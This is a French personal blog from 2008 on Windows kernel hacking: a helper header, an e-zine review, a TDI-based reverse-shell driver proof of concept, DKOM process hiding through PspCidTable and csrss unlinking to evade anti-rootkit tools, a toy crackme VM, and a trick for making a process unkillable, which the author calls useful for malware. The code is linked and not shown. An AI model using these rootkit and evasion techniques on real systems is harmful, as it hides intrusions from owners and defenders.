mercredi 24 décembre 2008

H-CL vous souhaite un joyeux noël !

Un revenant ? Et oui me revoilà back from h3ll après quelques semaines d'inactivités.
Je vais profiter de ce petit article, pour vous racontez mes péripéties. Mais celles-ci ne se déroulent non pas dans les contrées rocheuses avoisinant mon chère kernel, mais belle et bien In Real Life.

Il y a quelques semaines de cela, mon laptop a subit une terrible perte ; un petit texte pour vous contez ces aventures.
Ma maudite machine plutôt jeune et jusqu'à présent assez performante me laissa tomber : un beau matin en l'allumant, j'entends alors de vieux bips systèmes..après quelques recherches de faite il s'avère que c'est ma motherboard :(.

Me voilà face au gouffre, le ciel prêt à s'écraser sur ma tête : obliger de renvoyer la bestiole au sav.

Jusqu'à présent rien de bien grave..
L'unique problème c'est que bien sur je n'ai aucun backup..AUCUN .
Mes neurones en ébullition se rassemblent dans l'espoir de trouver une solution me permettant de sauvegarder mon disque dur..Mais rien ! Si je tente toutes bidouilles avec le disque dur interne du laptop, la garantie saute.

Après un petit coup de fil avec le réparateur, il me propose de sauvegarder un dossier

"Quel dossier je vous sauvegarde monsieur ?"
"Humm, le dossier C:\kernel s'il vous plait !"
"heu..il n'y a pas de dossier kernel"
"le dossier k3rn3l !"

Encore un technicien ignorant le 1337 sp34k1ng.

Mais aujourd'hui je reviens, avec des (merci hzv <3) laptops tout propre, ready, avec backup :] (merci ivan:p).

C'est donc en ce soir de nowel, que je vous propose le début d'un projet qui me tiens plutôt à cœur car à mon avis plus qu'utile.

L'idée n'a rien de transcendante, c'est en fait une espèce de librairie.
Un header contenant quelques fonctions useful quand on aime bien trifouiller son kernel.

L'originalité du projet, je pense, est le fait que tout est réunis dans UN unique fichier : personnellement je trouve que ça simplifie grandement les choses quant à l'utilisation.

Concernant l'avancement du projet ; c'est encore au stade embryonnaire à peine 5 fonctions pour le moment.

Disons que, ça intéressera surement quelques personnes : d'ailleurs si certains on des reports de bugs, ou autres n'hésitez pas à me laisser un commentaire ; j'aimerais bien faire un truc propre et pourquoi pas utilisé ?
Tant que j'y pense, si vous avez des idées de fonctions à implémenter n'hésitez pas encore une fois à laisser un petit mot ; merci :)).

Je vais donc bien sur continuer à poster régulièrement maintenant que tout est rentré dans l'ordre !
En attendant je vous laisse avec mon .h en espérant que ça servira à quelques mangeur de chips fan de black-métal ; ça serait un bon début :)).

-H-CL.h

En tous cas, joyeux noël à vous, passer de bonnes fêtes :).

dimanche 2 novembre 2008

#hzv 1 released !

#Hzv 1 est enfin out !
Après plusieurs mois d'attente, le voici enfin sortit.
J'y ai publié mon plus gros article concernant l'exploitation des stacks overflows sous windows.
Je reprends un des articles publié sur mon blog, en le peaufinant, en ajoutant des illustrations des jolies phrases :D . De tous cela découle bien sur un contenu bien plus riche.
Un article qui m'a pris énormément de temps à écrire enfin bref j'y ai mis du coeur :)).

Maintenant je vous laisse en compagnie du premier opus : Hzv#1.
Je remercie donc tous le staff pour leur travail (même si dans le sommaire se sont plantés dans mon pseudo :p).
Je posterais un petit feedback des articles une fois que je les aurais lu :).
Bonne soirée à tous !

Après demande de certains, je mets à disposition l'archive de mon paper contenant, les illustrations, et les codes ;).
En espérant qu'ils vous plaisent :
-Stack Overflow.rar

Je vous parlais d'un petit feedback quant aux écrits ; le voici celui-ci à été rédigé conjointement avec sh4ka :
  • 1ère article) Le codage des données par celelibi.
Un article clair, concernant ce qui se cache vraiment derrière toutes nos variables ; car c'est bien jolie de savoir coder en C mais savoir comment est codé notre information peu s'avérer très utile voir fondamentale.
Il explique très bien l'abstraction (par rapport au codage de ces données) que nous fournissent les langages de programmation avec les types de variables par exemple.
Autrement dit qu'un long c'est pareil qu'un int ou qu'un DWORD : c'est 4 octets d'informations !
Je le recommande donc à ceux qui ne s'y sont jamais intéressé.
  • 2ème article) Exploitation avancée de débordement de tampon par camille bertrand.
Cette article plutôt technique va nous parler de débordement de tampon ; mais aussi de shellcodes.
En effet, j'ai l'impression que l'auteur se centre plus sur l'élaboration de shellcode générique / polymorphisme que sur l'exploitation avancée de la faille.
Il nous explique clairement les étapes essentiels à l'élaboration d'un shellcode capable de se débrouiller seul (dit générique) dans un environnement windows.
Les codes sont clair ; très commentés ; bien illustrés..il nous propose même un petit exercice d'application en fin d'article.
Conclusion l'article est très didactique, un bon papier.
  • 3ème article) Redirection de flux en C sous windows par Cocowebman.
Encore un article pour windows (décidément :)), il illustre un type de communication inter processus : les pipes (prononcé à l'anglaise).
Il redirige les sorties standard dans le tuyau dans lequel il va lire par exemple ; très utile dans un bind/reverse shell par exemple.
L'article est encore une fois agréable à lire ; des illustrations ; c'est mimi en tout cas.
  • 4ème article) La toile à nue face au renard par FaSm et SnAkE.

Un article décevant, le contenu est plutôt très classique et donc n'apprenant pas grand chose au lecteur.

  • 5ème article) Nintendo DS Le wifi Ultra Portable par Virtualabs.
Alors cette article c'est vraiment mon coup de cœur ; moi qui attendait une espèce de compte rendu de sa conférence à la nuit du hack ..et bien me voilà gâter.
Une superbe aventure en fait ; il nous explique un peu son cheminement, ces objectifs, ce qu'il a réussit à faire (impressionnant :o) enfin j'en dévoile pas plus lisez le ! merci virtualabs.
  • 6ème article) Attaque d'un serveur, Prise d'empreinte par Floux.

Article de Floux présentant l'étape préliminaire à un audit,et non des moindres, la prise d'empreinte. L'article survole (peut être un peu trop) les principes classique de ce domaine, sans trop entrer dans les détails(Whois,traceroute,dns,transfert de zone,scan de port,..).Un article plus poussé sur le sujet aurait été apprécié.

PS:"La prise d’empreinte (ou pentest pour les intimes ;))"

Prise d'empreinte=Fingerprinting pas pentesting

  • 7ème article) Démystification d'exploits visant des applications web par Apophis.

Derrière ce titre se cache l'explication d'apophis, concernant une vulnérabilité touchant punbb au travers de la récupération du "cookie_seed" ; afin de calculer le mot de passe aléatoire ainsi que le lien d'activation généré par punbb lors de la réinitialisation d'un compte (suite à l'utilisation de l'option "mot de passe oublié").Par l'étude de cette faille et la programmation de l'exploit, l'auteur nous montre les vulnérabilités touchant au web sous une autre forme que les classiques injections sql,xss,include et cie.

  • 8ème article) Les réseaux de robots, action et prevention par Valéry RASPLUS.

Il s'agit d'un article survolant le monde des botnets, expliquant leurs principes, leurs méthodes, leurs buts et proposant aussi des pistes pour s'en protéger. L'auteur sans rentrer dans la partie technique, permet d'expliquer de façon simple et donc de sensibiliser l'utilisateur sur les dangers que peuvent apporter les botnets.

  • 9ème article) La stéganographie de interger binary numbers par Thierry Crettol.

Un article qui je dois dire me laisse perplexe, l'auteur utilise un vocabulaire « spéciale ». Je cite: « les 54 premiers caractères sont réservés pour le cartouche de l'image bmp », ici cartouche signifie header? Ensuite d'après ce que j'ai pu comprendre, il s'agit en fait de steganographie utilisant la technique des LSB dans les images bmp. Malgré que ce sujet soit intéressant, ici le manque de clarté de l'explication et surtout d'exemple par la mise en place du procédé par la programmation, gâche un peu l'article.


Voilà, conclusion le mag reste intéressant malgré 2/3 bémols comme la qualités des images etc.

Bonne lecture, et espérons que ces bémols seront corrigés dans le prochain !

lundi 27 octobre 2008

Feel the power with TDI !

N'avez vous jamais pensé à avoir un support réseau pour votre merveilleux rootkit ?
Avoir la main sur cette bête même à distance ?

Je vais aujourd'hui réaliser votre rêve :)), plus sérieusement ce post traitera de l'une des interfaces proposées par microsoft pour nous permettre de faire du réseau ; et celle-ci porte le doux nom de TDI acronyme de "Transport Driver Interface".
Je cite microsoft techNet :

"The Transport Driver Interface (TDI) is a common interface for drivers (such as the Windows 2000 redirector and server) to use to communicate with the various network transport protocols. This allows services to remain independent of transport protocols."


Il faut déjà savoir qu'il existe plusieurs manières d'accéder aux ressources réseaux du kerneland

; c'est différent moyens sont implémentés ou pas selon la version de windows :

  • Avant les systèmes vista, nous avions à disposition TDI ainsi que NDIS acronyme de Network Driver Interface Specification.
  • Sous vista nous avons à disposition TDI, NDIS et les Kernels Sockets.
  • Et puis il est prévu de troquer TDI contre les Kernels Sockets pour les autres systèmes qui suivront vista ; autrement dit on ferra du reseau avec NDIS ou/et les Kernels Sockets.
J'ai donc choisis l'utilisation de TDI pour tout d'abord avoir une espèce de rétro-compatibilitée avec "l'avant vista" ; de plus l'utilisation de TDI est assez simple car les opérations à réaliser suivent un même schéma que je detaillerais plus bas.
L'utilisation de TDI est d'ailleurs très bien documentée ; non pas par la masse des écrits sur le sujet mais par la qualité des quelques papers trouvés.
Je veux bien sûr faire références à deux écrit :
  • Subverting The Windows Kernel , chapitre "Kernel TCP/IP Support for Your Rootkit Using TDI"
  • Audi-K - Nouvelles aventures en Kernel Land, paper parut dans le zine des blackclowns ; c'est un S.U.P.E.R.B.E article écrit par Tolwin ..pour couronner le tout c'est du français.Cette article est donc juste priceless, merci à lui.
Ces deux écrits permettent largement de se coder un petit Proof Of Concept quant à l'utilisation de TDI.
J'ai donc choisis de mettre en place une connexion à la manière d'un classique Reverse Shell ; autrement dit un serveur hébergé chez le h4ck3rz, le driver s'y connecte et propose des fonctions exécutées chez la victime tout cela sous forme d'un shell avec un jolie prompt toussa :D.
Seulement ce qui m'a intéressé dans ce code c'est l'implémentation de la partie reseau, vous comprendrez donc pourquoi je n'ai codé aucune fonction entrant dans le cadre du reverse shell ..c'est un travail on ne peux plus fastidieux ; de plus ce n'etait pas le but ! Au passage si quelques d'entre vous sortent leurs jolies IDEs avec comme objectif de rendre mon bout de code utilisable..ben qu'ils me previennent :D.


Entrons dans le vif du sujet ; chers passagers je vous prie de bien vouloir boucler vos ceintures, le voyage va bientôt commencer !

Comme je le disais un peu plus haut, TDI s'avère assez simple, peut-être un poil velus au départ mais au fur et à mesure que l'on code on se rend vite compte que les principales opérations sont redondantes.
Il faut aussi savoir que jouer avec TDI, c'est accepter de dealer avec le driver tcpip.sys.
Si on fouille dans les tools signé OSR, on peut tomber sur DeviceTree ; un outil assez pratique pour observer l'organisation des drivers, devices et autres :



Vous vous doutez bien que nous allons nous occuper du driver tcp, seulement lui !
On remarque aussi au passage que le device est en mode IO_DIRECT ; autrement dit le buffer d'entré et de sortie sera le même ; aucun gaspillage quant à la manipulation/recopie de ceux ci etc.
Le code va donc se résoudre à de multiples échanges entres le driver, et le notre par le biais d'IRP.
En effet, notre code se résout à , préparer une requête (l'IRP), l'envoyer au driver, bloquer pendant que le driver traite notre requête, et puis agir en fonction du code de retour.
Tout cela est simplifié mais dans l'idée c'est exactement ce qu'il faut faire ; microsoft nous propose alors un lot de macro tel que :
  • TdiBuildSend
  • TdiBuildReceive
  • TdiBuildConnect
  • TdiBuildInternalDeviceControlIrp
Entrons un peu plus dans les détails maintenant.
Les deux premières étapes consistent en la création de deux objets, un "Connection Object" ainsi qu'un "Transport Object" l'un servant à stocker les informations relatives a l'host et au port (le TransportObject donc) ; et un second objet gérant la connection (le Connection Objet).

Ces objets seront créés grâce à la fonction ZwCreateFile ; pour mener à bien la construction de ces objets ont doit passer des paramètres à la fonction qui va gérer la construction des objets contenu dans le driver bien sur.
Ceux-ci seront passé par encapsulation dans une structure du type FILE_FULL_EA_INFORMATION ; dans l'avant dernier argument de ZwCreateFile "EaBuffer".
Voici la définition de la structure :

typedef struct _FILE_FULL_EA_INFORMATION
{
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

Je m'explique quant à cette histoire d'encapsulation ; le but est de pouvoir passé plusieurs structures au driver.

1. On alloue la mémoire total, c'est l'addition des tailles des structures à faire passé en argument plus la structure de type FILE_FULL_EA_INFORMATION.
2. On remplis les premiers champs de la structure : NextEntryOffset, Flags etc.
3. On écrit à la suite du dernier champs (EaBuffer) le contenus de nos structures.

Voilà le principe, la structure de type FILE_FULL_EA_INFORMATION englobe les autres, c'est le principe.

Je noterais EA la structure qui sert d'encapsulation.
Pour le Connection Object nous avons le schéma suivant :
  • [EA -> CONNECTION_CONTEXT]
Pour le Transport Object nous avons :
  • [EA -> TA_IP_ADDRESS]
Je ne sais pas si j'ai réussi à comprendre, mais j'ai fais de mon mieux, c'est pas facile :].

Bon voilà c'est beau, c'est magique, de la véritable poudre de perlinpinpin mais notre voyage est loin d'être terminé.

Il faut ensuite associer ces deux handles..à partir de cette étape le chemin restera toujours le même :
  1. Allocation de l'irp, grâce à la macro TdiBuildInternalDeviceControlIrp.
  2. Construction de l'irp par le biais de la macro associée à l'action désirée (TdiBuildSend, TdiBuildReceive, TdiBuildAssociateAddress etc).
  3. On transmet l'irp au driver en utilisant la fonction IoCallDriver.
  4. On bloque tant que le traitement n'est pas terminé avec la fonction KeWaitForSingleObject.
C'est en fait le schéma dont je vous parlais plus haut, c'est celui-ci que vous allez répéter pour chacune de vos actions ; vous comprendrez alors pourquoi je ne détaillerais pas le reste :)).

Concernant mon petit code, il va se connecter sur une ip sur un port donné, il envoit alors un prompt à la manière d'un shell tout simplement.
J'ai d'ailleurs tout mis en place pour faciliter l'implémentation de fonctions ..si il y a des courageux comme je le disais :)).
Un petit screenshot:




Sinan dans le genre priceless, mon s1th vient de nous dégotter un OllyDbg customisé on ne peux plus cool :)).
Il est blindé de scripts/plugins, et possède un gestionnaire de raccourcis pour placer tous ces tools préférés :



On voit aussi qu'il possède une barre de commande immunityDbg like :) ; enfin bon à avoir d'urgence !
Ensuite je voulais vous parlez d'un ami, Squallsurf et son nouveau outil H.a.r.P.E (une espèce de plateforme de manipulation/visualisation du PE ; projet prometteur :)).
N'hésitez donc pas à lui rendre visite, ou encore lui rapporter bugs et/ou amélioration quant à son joujou :).

Les codes de mon Proof Of Concept :
Esrever.c

En espérant avoir intéressé quelques uns :), cya.
PS : petit coucou à securfrog o/ ; merci à baboon !

dimanche 28 septembre 2008

L'union fait la force.

Me revoilà pour un nouveau post, (un peu tardif me direz vous, mais bon pas toujours facile avec les cours) mais cette fois-ci c'est un peu spécial.
En effet, lilxam et moi même vous proposons aujourd'hui une archive liant deux papers écrit en "collaboration".
Un gros travail d'entraide à été mis en place sur cette série de papers, une expérience à renouveler je pense car très efficace.
Tout cela pour dire que l'on sera surement amené à renouvelé ce type d'opération, hein lilxam :)?

Entrons dans le vif du sujet.

L'archive est composé d'un premier paper signé lilxam traitant des débordements de tampons appliqué et exploité sur php 5.x.
L'approche est vraiment intéréssante car mon chère collègue à due mener de nombreuses recherches sur l'organisation, l'appel des fonctions au seins de php.exe.
Une fois cette étape de franchis, il entamme la recherche de fonctions faillibles en codant un fuzzer like maison qui m'a foi à porté ces fruits :).
Non loin d'une dizaine de fonction faillible sur la version 5.2.6, l'exploitation rentre donc maintenant en jeux.
La technique utilisé est une réécriture de SEH (Structured Exception Handling), afin de rediriger le flot d'éxecution de php sur un vilain shellcode :).
Voilà en gros le fil rouge du paper, le tout est bien sûr agrementé de schéma/screenshots/codes et d'explications :).

Avec le second paper on change complétement de sujet ; je présente en premier temps les TLS CallBacks, puis l'HotPatching, et enfin une à deux petites applications liant les deux "outils" vu precedemment.Rien de bien méchant en tout cas, un contenus très soft :).
J'ai mis à disposition dans l'archive l'éboche, la tentative de rédaction d'une classe cpp (et oui, je m'y mets!) permettant l'implémentation d'une tls callback..la classe est vraiment très simple et peu fiable je pense cependant elle m'aura permis d'allonger du code pour me faire la main avec ce language.

Je vous laisse en compagnie de nos écris :
-L'Union Fait la Force.zip.

En espérant que ça plaira bonne après midi :).

vendredi 8 août 2008

How to pwn lilxam's toolz :).

Un titre un peu provacateur, mais rien de méchant, juste un petit jeu entre lilxam et moi ; autrement dit mon article n'est pas là pour dénigrer son travail ou autre bien au contraire.
Les avertissements étant fait, rentrons dans le vif du sujet .. :).

Il y a quelques temps, j'ai entamé l'écriture d'un petit post concernant une technique de DKOM aboutissant à caché un processus (plus ou moins bien justement).
Le noyau possède un chainage de structures de type EPROCESS (par une liste doublement chainé à l'offset 0x088), il était donc possible d'unlinker une structure en particulier.
Le processus se retrouvait alors protégé de l'énumération par le taskmgr.exe ou encore ProcessExplorer.
C'est à présent que lilxam entre en jeu.

Peu de temps après mon petit Proof of Concept, il met en place une technique userland permettant d'énumérer les processus malgré la modification des structures en mémoire.
Cet technique en question, très ingénieuse au passage, permettant de récupérer le nom des processus en bruteforçant les PIDs de ceux-ci.
Seulement, tout cela m'interpelle, comment était-il possible de retrouver ce processus, alors qu'il n'était plus présent dans les structures EPROCESS ..?

La réponse ne devrait pas être trop complexe à rechercher ; en effet un commentaire de Ivanlef0u nous donne de précieuses informations : il aborde la présence d'une mystérieuse table prénommé PspCidTable référençant des informations concernant les processus à savoir une translation entres PIDs/TIDs et objet EPROCESS/ETHREAD.

Nous voilà sur la bonne route, sortons IDA afin d'analyser les apis utilisées dans le code de lilxam ; le réel problème étant de savoir comment le système se débrouille pour trouver le processus en question, désassemblons un peu OpenProcess exporté par kernel32.dll.
Nous suivons en premier lieu les appels successif à savoir:

->OpenProcess
-->NtOpenProcess
--->ZwOpenProcess

Nous savons bien que le système afin de permettre l'appel d'un syscall va passer par la SSDT pour retrouver l'adresse de la fonction associé à son numéro de syscall (0x7a pour NtOpenProcess).
Balayons alors ce code à la recherche de la translation PID/TID en objet EPROCESS/ETHREAD :

PAGE:004A9C92 cmp [ebp+var_1A], 0
PAGE:004A9C96 jnz loc_52ADDF
PAGE:004A9C9C cmp [ebp+var_19], 0
PAGE:004A9CA0 jz loc_50F76D
PAGE:004A9CA6 mov [ebp+var_30], esi
PAGE:004A9CA9 cmp [ebp+var_28], esi
PAGE:004A9CAC jnz loc_4D88A0
PAGE:004A9CB2 lea eax, [ebp+var_24]
PAGE:004A9CB5 push eax
PAGE:004A9CB6 push [ebp+var_2C]
PAGE:004A9CB9 call _PsLookupProcessByProcessId@8

L'appel à PsLookupProcessByProcessId est plus que révélateur, son nom en dit assez large sur son rôle et de plus cette fonction est renseigné par la msdn.
Désassemblons cette dernière fonction, notre réponse y est surement caché :).


PAGE:004A9B25 mov edi, edi
PAGE:004A9B27 push ebp
PAGE:004A9B28 mov ebp, esp
PAGE:004A9B2A push ebx
PAGE:004A9B2B push esi
PAGE:004A9B2C mov eax, large fs:124h
PAGE:004A9B32 push [ebp+arg_0]
PAGE:004A9B35 mov esi, eax
PAGE:004A9B37 dec dword ptr [esi+0D4h]
PAGE:004A9B3D push _PspCidTable
PAGE:004A9B43 call _ExMapHandleToPointer@8
PAGE:004A9B48 mov ebx, eax
PAGE:004A9B4A test ebx, ebx


Mais que voyons nous ; notre"PspCidTable".
Arrivé ici nous comprenons alors que les apis qu'utilise notre très cher lilxam ; en particulier OpenProcess se base donc sur cette fameuse table pour retrouver notre processus à partir de son PID.
Sans plus attendre je vous recommande (encore) un article de mon noble jedi ; celui-ci traite de long en large les tables de type HANDLE_TABLE au prototype suivant :


lkd> dt nt!_HANDLE_TABLE
+0x000 TableCode : Uint4B
+0x004 QuotaProcess : Ptr32 _EPROCESS
+0x008 UniqueProcessId : Ptr32 Void
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages : Int4B
+0x030 FirstFree : Uint4B
+0x034 LastFree : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount : Int4B
+0x040 Flags : Uint4B
+0x040 StrictFIFO : Pos 0, 1 Bit


Ce type de table est d'ailleurs presque omni-présent dans les processus ; les handles que gèrent un processus sont stockés dans une table de ce genre.
Celle-ci est accessible à l'offset 0x0c4 :


lkd> dt nt!_EPROCESS
[...]
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE


A présent, parlons PspCidTable.
En glanant sur le net, on s'aperçoit assez rapidement qu'il y a quelques années la modification
de cet table était une technique à la pointe dirais-je.
Cependant, je me suis vite rendu compte que mes parents ont entrepris ma construction trop tard :p ; en effet mon implémentation ce chargeait d'enlever l'objet EPROCESS du processus à caché, mais malgrès cela RkUnhooker, anti-rootkit digne de ce nom, trouve toujours le moyen de retrouver l'objet EPROCESS, et donc de permettre le kill de celui-ci :/.
Un peu frustré, je commence à m'interroger sur la technique que RkUnhooker pourrait déployer afin de retrouver ce maudit processus.
En analysant la définition de la structure ETHREAD on peut remarquer qu'il existe un lien avec la structure EPROCESS associé, à l'offset 0x220:

lkd> dt nt!_ETHREAD
[...]
+0x220 ThreadsProcess : Ptr32 _EPROCESS


; on ne peut que se demander
si RkUnhooker ce focalise sur les threads, et remonte au processus par le biais de divers fonctions.
Me voilà repartit dans cette table, afin d'enlever les objets ETHREADs .. après l'implémentation, à ma grande surprise le processus devient inactif ; zombie...

C'est donc à ce moment là que les questions jaillissent à travers mon esprit :

- Comment RkUnhooker remet la main sur mon processus ?
- Quel(s) technique(s) utilise t-il pour cela ?
- Existe t-il un autre endroit où une liste des processus lancées sur le système est disponible ?

Voilà concernant la PspCidTable, ma fonction permet alors de supprimer l'entrée concernant le processus à caché dans la table ; l'outil de lilxam est donc finalement inefficace sur ce coup là .:p.



Comme je le racontais plus haut, cette implémentation est trop maigre pour permettre de leurrer RkUnhooker.
C'est donc ainsi que commence mes recherches sur les techniques existantes permettant la protection d'un processus de l'énumération. Après quelques recherches sur la toile, mon regard s'attarde sur cette technique ; en effet le processus vital csrss.exe contiendrait une liste des processus lancée sur le système.
L'auteur de la technique explique très bien les faits et son analyse est détaillée ; en quelques mots, le processus tiens à jour une liste des processus lancés sur le système sous forme de liste chainée.Il est alors aisé pour nous de pratiquer un unlink ..

Pour un projet personnel, j'ai décidé de porter cette unlink en ring0 ; celle-ci devient alors tout de suite bien plus intéréssante car on est obligé de faire appel à pleins de petites choses pour arrivé à nos fin : du parcours de PE, de l'attachement à l'user-space d'un processus et j'en passe.

Les liens :
-PspCidTable PoC
-UnlinkListEntryInCsrss

Sinan si vous ne savez pas quoi faire, je vous conseil d'aller faire un tour sur le site de la F.A.T.
Cette petite team aux membres bien sympathiques publient des codes et papers vraiment géniaux ( je pense au dernier que j'ai lu ; autrement dit le paper concernant win32.leon par kaze ) ..enfin bref à bookmarker pour ceux qui ne connaissent pas :).

Et si vous en voulez encore un peu, je vous conseil de lire les derniers articles de deux de mes amis :

-Celui de rAsM ; monsieur met en place une technique pouvant servir de base à un potentiel keylogger kernel (a condition de patcher les BSODs :))).

-Celui de Ivanlef0u ; mon s1ths préféré propose un petit article concernant le subsystem csrss en abordant notament les processus consoles.

Pour clore ce petit post, un dernier lien ; celui-ci vient tout droit des dragons asiatiques ..Sudami reverseur de talent continus de nous faire réver en nous proposant de nouvelles techniques de DKOMs ; celle-ci aborde le hook d'une fonction stockée dans la structure liée aux Objects Types Initializers ( ..qui m'avait mis en échec ici ).
Bien evidement, raffolant de ce genre de technique je m'empresse de mettre en place un petit driver capable de placer ce hook mais c'est (du moins chez moi (XP SP2 FR)) un échec.. la routine est apparement bien appelé par le system mais en aucun cas elle empèche la fermeture du processus.
Peut-être que sudami explique les limites de sa technique dans son article, ou que celle-ci est valable avec des pré-requis.. Enfin bon si quelqu'un en sait plus qu'il me contacte :).

Voilà pour ce petit article, en espérant que je vous aurrez appris quelque(s) chose(s),
bonne journée à vous.
PS : Bonne rentrée à ceux qui ne l'ont toujours pas faite.

dimanche 27 juillet 2008

Create ur own worldz with virtualization.

Entres deux projets j'ai enfin trouvé le temps pour vous concocter un petit article.

Celui-ci portera sur les machines virtuelles, souvent abrégées "VM" (Virtual Machine) ; c'est une technologie aujourd'hui en pleine expansion, on en trouve dans presque tous les domaines :


Pour le Reverse Engineering, elles servent de sandbox et permettent de mener de nombreux tests "à l'abris".

Pour l’analyse des menaces informatiques, des VMs sont mises en ligne et font office d’honeypot.

Pour l'hébergement web, quelques machines physiques hébergent plusieurs VMs, spécifique à chaque service


En bref on en voit un peu partout :).


L’utilisation qui m'a intéressée ici est celle des protections logicielles, ou encore des crackmes.

Non pas que je sois fan de ce genre de binaire, créés pour faire tourner en bourrique la dite personne, mais ne voyant pas trop comment cette technologie pouvait être utilisée dans ce contexte, j'ai tenté l'expérience :).


I] Un exemple presque inévitable : la machine virtuelle java abrégée JVM.


Bien évidement, je ne pouvais éviter l'exemple de la célèbre JVM. En effet elle illustre un gros avantage de la virtualisation, la possibilité de créer un pseudo-code réalisant les mêmes actions quelque soit la plateforme où il est lancé.

C'est bien évidemment le coeur du fonctionnement de java ; le langage java est "traduit" en bytecode java qui lui est directement interprété par la machine virtuelle.

Il est alors juste nécessaire de développer un interpréteur pour chaque plateforme, celui-ci interprétera ce bytecode java de la même façon.


Cependant comme vous pouviez vous en doutez, cette technologie possède bien évidemment des limites.

Premièrement, cette technologie est finalement une "sur-couche" ; son exécution sera alors plus lente du fait que ce bytecode sera interprété par un autre programme.


Ensuite, il ne faut pas perdre de vue que l’implémentation d'une machine virtuelle complète est un travail harassant ; il suffit de consulter les spécifications du bytecode java pour constater l'ampleur du projet.

Je ne l'ai pas précisé mais la VM doit bien évidemment avoir à disposition tout un environnement où sera interprété notre langage : des registres, une pile etc.


II] Design de notre code.


Comme je l'ai précisé au départ ce qui m'intéressait était de comprendre le fonctionnement et la mise en place d'une protection logicielle par le biais d'une machine virtuelle.

Celle-ci sera on ne peux plus simple ; en effet j'ai choisis de ne pas mettre à disposition en environnement digne de ce nom ; l'envie et le niveau me manque :).


Le code interprété aura donc à sa disposition une pile et des registres classiques ; le minimum pour pouvoir développer une """""protection logicielle""""".

J'ai aussi décidé de créer un petit jeu d’instruction très basique, le minimum vital ; Il suffit en tout cas à comprendre que le développement d’une VM est une tâche longue et fastidieuse…


Pour éviter de coder avec les "bytecode" que nous allons créer, j'ai pensé à mettre en place un système de "traduction".

L'idée est à partir d'une syntaxe asm x86 de convertir celle-ci en notre pseudo-code ; cette espèce de traducteur est codé en perl (celui-ci d'ailleurs est très sale et non optimisé.. mais fonctionnel :)).


Par exemple si je donne à mon script perl :


mov eax,ebx


Il va bien gentiment me donnez l'équivalent en pseudo-code autrement dit:


 "\x14\x00\x01"


Parlons maintenant du squelette de notre interpréteur.

Une variable va donc nous servir de registre EIP, celle-ci pointera sur nos opcodes, ensuite il nous reste juste à les parser et les interpréter ; en gros nous avons le schéma suivant :


while(*eip)
switch *eip
case INSTRU1:
...
sizeOfInstru = 3
case INSTRU2:
...
sizeOfInstru = 5

eip += sizeOfInstru;


Une fois réalisé ce petit schéma tout devrait s'éclaircir pour vous ; ça commence à coder dans la tête normalement :).


Encore une fois pour me faciliter la tâche, les instructions que j'ai implenté sont : MOV, INC, PUSH, POP, CMP, EXIT.

Ces instructions vous ferront évidemment pensées à de l'asm bien sûr, seulement certaines ont été implentées pour pouvoir monter ma petite protection servant d'illustration :).


Concernant mon traducteur, j'ai choisis le language perl ; un language que j'apprecie beaucoup.

Seulement comme dit précedemment, le code se résoud à de piètres conditions (une pour chaque type d'instruction), et ajoutez à cela une petite dose de regex !


Pour ceux qui voudrait s'essayer au reverse de cette protection (en carton vous êtes prévenue :p) ne regardez pas les fichiers « tapz » (celui-ci est à passé au « traducteur » pour avoir la suite d'opcode), vous sortez votre debugguer préféré et vous vous attaquez au binaire « ExempleProtectionLogiciel.exe ».

Afin que vous ayez tous sous la main, je vois est uppé une petite archive contenant binaires/sources ; et pour ceux qui souhaitent observer les sources en lignes, elles sont disponibles en html.


Bon j'esepère que cela pourra apprendre quelques choses à certains, ce petit post m'a pas mal divertit, lorsque qu'on code une « mini-vm » ça reste plutôt sympathique :).


Sinan je vous conseil vivement le dernière article de mon keupin Ivanlef0u ; il illustre un reverse relatif au planificateur de taches, celui-ci aboutira à une technique permettant de dumper les accès avec lesquelles les taches ont été créer.


Alors pour les fichiers consultablent en ligne :


-Le traducteur.

-La dll.

-Le binaire qui implente la protection en carton.


Le petite packetage maintenant :

-Packetage


Je tenais aussi à remercier Deimos pour m'avoir donné l'idée de traiter ce sujet ( Deimos a dit : phear ze vm :)))

Bonne après-midi à vous ;).

PS : Concernant la vm, INVOKE est une instruction pour laquelle j'ai un peu triché, en effet au lieu de déposer les arguments sur la pile virtualisé, je dépose cela sur la pile du binaire qui lance l'interprétation des opcodes.
Seulement parce qu'implémenter un réel call était largement faisable mais ce qui n'etait pas faisable c'est que faire pointer eip dans une api impliquerait d'etre capable d'interpréter le code asm de celle-ci .. :).

"Stay in ur world or get pwnd in mine"

jeudi 17 juillet 2008

Sudami KillMe PoC.

Je me permets d'écrire un petit post après la publication du dernier article par mon jedi ; il concerne l'analyse d'un driver tout droit venu de l'orient.
En effet, sudami et son blog avait déjà interpellé notre ami Ivan, il contenait les sources d'un rootkit kerneland assez puissant d'après ce que les sources inspiraient.

Cette fois-ci il s'agit d'un PoC concernant une technique de DKOM afin de rendre un processus interminable ; du jamais vu pour ma part.
C'est pour cela qu'en dévorant ce jolie article, je me suis empressé de coder un PoC.

J'ai donc remarquer que lorsque le PoC était "complet", autrement dit toutes les modifications au niveau des structures étaient effectuées le processus était "inerte".
Interminable certes, mais un processus qui ne peux plus rien faire c'est assez embêtant, voir presque inutile (apart pour embeter la victime avec une fenêtre en plein milieu de l'écran..un peu à la sudami :)).
Celui-ci est disponible en fin de page bien évidemment.

Cependant, le fait que le processus était larvaire après avoir appliqué les manipulations de structures kernel, ivan me proposa de jouer en désactivant quelques "protections" afin d'obtenir un processus assez difficile à tuer mais un processus actif, une technique bien utile vous pouvez me croire dans le cadre d'un quelconque malware.
Pour moi l'implentation plus ou moins idéal reste de modifier le champ KernelApcDisable à l'offset 0x0d4 de la structure ETHREAD.
Concernant de plus amples explications concernant ces APCs kernel je vous suggère une petite lecture de l'analyse d'ivan.

Concernant l'activité que je peux avoir sur mon blog ces temps-ci, autrement dit, une activité assez limitée dirons nous, celle-ci est due à mon engagement dans divers projets qui verront leurs concrétisations dans quelques temps (avant la rentré j'esepère) wait and see .

Sinan en attendant je vous conseil quelques liens :

